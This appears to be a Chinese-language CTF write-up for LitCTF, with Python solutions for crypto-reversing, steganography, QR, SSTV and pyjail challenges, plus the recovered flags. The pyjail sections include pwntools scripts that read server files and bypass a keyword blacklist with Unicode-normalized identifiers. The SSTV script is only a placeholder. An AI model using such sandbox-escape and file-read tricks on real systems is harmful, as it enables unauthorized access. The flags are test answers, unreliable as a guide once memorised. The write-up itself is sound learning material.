0 - 0x21524111 == 0xDEADBEEF (mod 2^32)
所以这实际上是一个 delta = 0xDEADBEEF 的 XTEA 变体。解密时只要把标准 XTEA 里的 delta 换掉即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import structcipher = bytes .fromhex( "e3ee1ee7d3a7966f" "c6a7b9e1b94e6786" "5f0304a6dbbbb940" "563af79eee64d406" ) key = [0x11111111 , 0x22222222 , 0x33333333 , 0x44444444 ] delta = 0xDEADBEEF def xtea_dec_block (block, k ): v0, v1 = struct.unpack("<2I" , block) total = (delta * 32 ) & 0xFFFFFFFF for _ in range (32 ): v1 = (v1 - ((((v0 << 4 ) & 0xFFFFFFFF ) ^ (v0 >> 5 )) + v0 ^ (total + k[(total >> 11 ) & 3 ]))) & 0xFFFFFFFF total = (total - delta) & 0xFFFFFFFF v0 = (v0 - ((((v1 << 4 ) & 0xFFFFFFFF ) ^ (v1 >> 5 )) + v1 ^ (total + k[total & 3 ]))) & 0xFFFFFFFF return struct.pack("<2I" , v0, v1) pt = b"" .join(xtea_dec_block(cipher[i:i+8 ], key) for i in range (0 , len (cipher), 8 )) pad = pt[-1 ] flag = pt[:-pad].decode() print (flag)
flag:
1 LitCTF{rev04_xtea_delta_twk!}
lit_rc4_variant 程序实现了一个 64 字节状态的 RC4 变体。关键点是输出字节不是标准 RC4 的 S[(S[i]+S[j])&255],而是先在模 64 状态上做交换,再取 S[i] + S[(old_si + S[i]) & 0x3f] 作为 keystream,与输入异或后和内存中的目标密文比较。
Step 1: Recover key and ciphertext from .rdata
静态分析 main 可以直接看到:
状态数组大小为 64
密钥字符串为 lit_rc4_key!
比较目标密文位于 .rdata,长度为 0x1d = 29
校验关系为 encrypt(input) == cipher
因此只要复现 KSA/PRGA,并用同样的 keystream 去异或目标密文,即可直接恢复明文 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 key = b"lit_rc4_key!" cipher = bytes ([ 0x7b , 0x3d , 0x38 , 0x77 , 0x4e , 0x72 , 0x42 , 0x7d , 0x45 , 0x37 , 0x76 , 0x0f , 0x53 , 0x53 , 0x4f , 0x66 , 0x37 , 0x17 , 0x75 , 0x37 , 0x5f , 0x49 , 0x58 , 0x72 , 0x74 , 0x7f , 0x79 , 0x1f , 0x3a , ]) S = list (range (64 )) K = [key[i % len (key)] for i in range (64 )] j = 0 for i in range (64 ): j = (j + S[i] + K[i]) & 0x3F S[i], S[j] = S[j], S[i] i = 0 j = 0 out = [] for c in cipher: i = (i + 1 ) & 0x3F old_si = S[i] j = (j + old_si) & 0x3F S[i], S[j] = S[j], S[i] ks = (S[i] + S[(old_si + S[i]) & 0x3F ]) & 0xFF out.append(c ^ ks) flag = bytes (out).decode() print (flag)
flag:
1 LitCTF{rev05_rc4_variant_64!}
misc lit_welcome 图片表面上只有欢迎语,实际用了近白色文本隐藏内容。通过提取颜色差异非常小的像素即可把隐藏层恢复出来,再人工读取文字得到 flag。
Step 1: 提取近白色像素
原图只有两种颜色:(255,255,255) 和 (254,255,255)。也就是说只在红色通道最低位上藏了内容,把不是纯白的像素提出来即可恢复隐藏文字。
1 2 3 4 5 6 7 8 9 10 11 12 from PIL import Imageimg = Image.open ("welcome.png" ).convert("RGB" ) mask = Image.new("L" , img.size, 255 ) for y in range (img.height): for x in range (img.width): if img.getpixel((x, y)) != (255 , 255 , 255 ): mask.putpixel((x, y), 0 ) mask.save("welcome_mask.png" ) print ("saved welcome_mask.png" )
Step 2: 放大/反相后人工读取隐藏文本
提取后的隐藏层在工作区内已有这些文件:
lit_welcome/welcome_mask.png
lit_welcome/welcome_visible.png
lit_welcome/top_tight.png
lit_welcome/mid_tight.png
其中 mid_x4.png/mid_tight.png 对应的隐藏文本可直接读出,得到 flag。
flag:
1 LitCTF{w3lc0m3_t0_m1sc_w0rld}
lit_rush_qr 附件是一个闪得很快的 GIF。逐帧拆开后可以发现每帧都只给出二维码的一部分,利用高纠错二维码的恢复能力叠合后即可扫码得到 flag。
Step 1: 拆帧并合成二维码
把 GIF 拆成多帧后,可以看到不同帧里出现了二维码的不同区域。将多帧做合成或按像素投票后,能得到足够完整的二维码图像。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from PIL import Image, ImageSequencegif = Image.open ("rush.gif" ) frames = [f.convert("1" ) for f in ImageSequence.Iterator(gif)] w, h = frames[0 ].size out = Image.new("1" , (w, h), 1 ) for y in range (h): for x in range (w): vals = [f.getpixel((x, y)) for f in frames] out.putpixel((x, y), 0 if vals.count(0 ) > vals.count(255 ) else 255 ) out.save("rush_majority.png" ) print ("saved rush_majority.png, then scan it" )
Step 2: 扫描恢复后的二维码
恢复图像后直接扫码即可,得到 flag。
flag:
1 LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}
lit_lsb_base64 题目给了一张 PNG,并明确提示 LSB。做法是提取图片最低有效位得到一串 Base64,再解码得到 flag。
Step 1: 提取 LSB 并拼接为 Base64
核心观察是图片存在标准 LSB 隐写。把像素位流按顺序取出后,可以恢复出可打印的 Base64 文本,再做一次 Base64 解码即可得到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from PIL import Imageimport base64img = Image.open ("challenge.png" ).convert("RGB" ) bits = [] for r, g, b in img.getdata(): bits.extend([str (r & 1 ), str (g & 1 ), str (b & 1 )]) data = bytearray () for i in range (0 , len (bits) // 8 * 8 , 8 ): byte = int ("" .join(bits[i:i+8 ]), 2 ) if byte == 0 : break data.append(byte) payload = data.decode() print (payload)print (base64.b64decode(payload).decode())
flag:
1 LitCTF{lsb_1s_fun_w1th_b4s3_64}
lit_sstv 附件是 SSTV 编码进音频的 WAV。对音频做 SSTV 解调后可以恢复出一张图片,图片中的可见文本直接给出 flag。
Step 1: 确认音频为 SSTV,并锁定 Martin 1
对 signal.wav 做频谱分析后,可以看到明显的 SSTV 头部结构和 VIS 码。结合头部频率与行间隔,最强假设是 Martin 1。
1 2 3 4 5 6 import waveimport numpy as npfrom PIL import Imageprint ("Use Martin-1 timing to decode signal.wav into a 320x256 image" )print ("Existing workspace artifacts include: auto_martin1.png / auto_martin1_sharp.png" )
Step 2: 从恢复图像中直接读取文本
当前工作区里已经生成了:
auto_martin1.png
auto_martin1_sharp.png
sstv_m1_tracked_auto_contrast.png
其中增强后的恢复图中可以直接读到:LitCTF{sstv_p4t13nc3}。
flag:
lit_pyjail_reader 这题名字叫 pyjail,但实际上没有代码执行点。附件源码已经把解法写死了:过一个反转验证码,然后按提示连续读取两个文件,第二次就能拿到 flag。
Step 1: 自动过验证码并按流程读两次文件
第一次输入需要把 8 位大写串反转。随后读 /app/where_is_flag.txt,它会返回真正的 flag 路径,再读取一次即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *import reHOST = "challenge.cyclens.tech" PORT = 32125 r = remote(HOST, PORT) banner = r.recvuntil(b": " ) m = re.search(rb"reverse of '([A-Z]{8})'" , banner) challenge = m.group(1 ).decode() r.sendline(challenge[::-1 ].encode()) r.recvuntil(b"File path (1/2): " ) r.sendline(b"/app/where_is_flag.txt" ) resp = r.recvuntil(b"File path (2/2): " ).decode() path = re.search(r"--- begin ---\n(.*?)\n--- end ---" , resp, re.S).group(1 ).strip() r.sendline(path.encode()) print (r.recvall(timeout=2 ).decode())
flag:
1 flag{pktlc9hs-tyjb-4n7-8dsq-x3lxgvbunxdt5}
lit_pyjail_unicode 黑名单只检查原始输入中的 ASCII 关键字,但 Python 在解析标识符时会做 Unicode 规范化。用全角 open 绕过 open 关键字过滤即可直接读 /flag。
Step 1: 用全角标识符绕过源码级黑名单
源码中 banned() 只匹配原始字符串里的 open/import/eval/...。因此将 open 写成全角 open,正则不会命中,但 Python 解释器仍能把它识别成真正的 open。
1 2 3 4 5 6 7 8 9 10 from pwn import *HOST = "challenge.cyclens.tech" PORT = 32238 payload = 'open("/flag").read()' r = remote(HOST, PORT) r.recvuntil(b"> " ) r.sendline(payload.encode("utf-8" )) print (r.recvall(timeout=2 ).decode())
flag:
1 flag{bdxqjkd5-kk5s-4p0-8bzb-wkkrwydzd8b9s}